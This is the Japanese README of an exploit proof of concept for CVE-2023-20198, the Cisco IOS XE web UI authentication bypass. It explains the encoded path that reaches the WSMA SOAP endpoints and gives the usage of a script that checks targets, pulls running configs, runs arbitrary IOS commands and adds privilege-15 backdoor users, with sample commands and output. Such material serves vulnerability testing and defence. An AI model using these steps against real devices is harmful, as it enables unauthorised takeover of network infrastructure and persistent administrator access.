
CVE-2023-20198 のエクスプロイト PoC
CVE-2023-20198 は、不適切なパス検証により Nginx フィルタリングをバイパスし、認証を必要とせずに webui_wsma_http Web エンドポイントへ到達できることを特徴とします。
このエンドポイントへの認証をバイパスすることで、攻撃者は任意の Cisco IOS コマンドを実行したり、Privilege 15 の権限で設定変更を行ったりすることができます。
Cisco がこの未公開脆弱性の活発な悪用を調査したところ、脅威アクターはまず CVE-2023-20198 を悪用して Privilege level 15 の新しいユーザーを追加していました。さらに、CVE-2023-20273 を悪用して基盤となる Linux OS の root ユーザーへ権限昇格し、インプラントの設置を容易にしていました。
この PoC は CVE-2023-20198 を悪用して、2 つの異なる XML SOAP エンドポイントを利用します:
脆弱性チェック、設定取得、コマンド実行の各オプションはすべて cisco:wsma-exec SOAP エンドポイントを対象とし、execCLI 要素タグにコマンドを挿入します。
ユーザー追加オプションは cisco:wsma-config SOAP エンドポイントを対象とし、設定変更を行って Privilege 15 アカウントを追加します。このエンドポイントは他の設定変更にも[悪]用される可能性がありますが、これはこの PoC の範囲外です。
cisco:wsma-exec SOAP エンドポイントの悪用方法は nuclei テンプレートに由来します
cisco:wsma-config SOAP エンドポイントの悪用方法は horizon3ai の PoC に由来します
注記: この CVE に関するオリジナルの調査や PoC 開発は一切行っていません。クレジットについては参考文献セクションを参照してください。
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: shellsmoke
-p newUserPass [Optional] new user pass for -a. Default: pwned
-o outputFile Write output to file
-v Increase verbosity
CVE-2023-20198 のチェックを行うには、-c を使用すると脆弱性を悪用して uname -a を実行しようとします
例:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
-g オプションは sh run を実行してランニングコンフィグを取得します
例:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
-e オプションを使用すると、任意の Cisco IOS コマンドを実行できます。
これを使用して設定変更を行う場合は、細心の注意を払ってください。入力検証は一切行われず、変更はランニングコンフィグに即座に適用されます。
例:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
-a オプションを使用すると、新しい Privilege 15 ユーザーアカウントを作成できます。アカウント名とパスワードは、それぞれ -u と -p で任意に指定できます。
例:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: shellsmoke
New User Pass: pwned
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
-d オプションを使用すると、デバイスからユーザーアカウントを削除できます。-u で指定したユーザー名が対象になります。
正当なアカウントを削除しないように注意してください。
これは、悪用された Cisco へのシェル/WebUI アクセスを取得できない場合のために追加されました。Privilege 15 ユーザーを追加しても WebUI アクセスは許可されず、ホスト上に悪用の痕跡を残す可能性があることが確認されています。
Cisco アドバイザリ
horizon3ai CVE-2023-20198 調査
horizon3ai CVE-2023-20198 PoC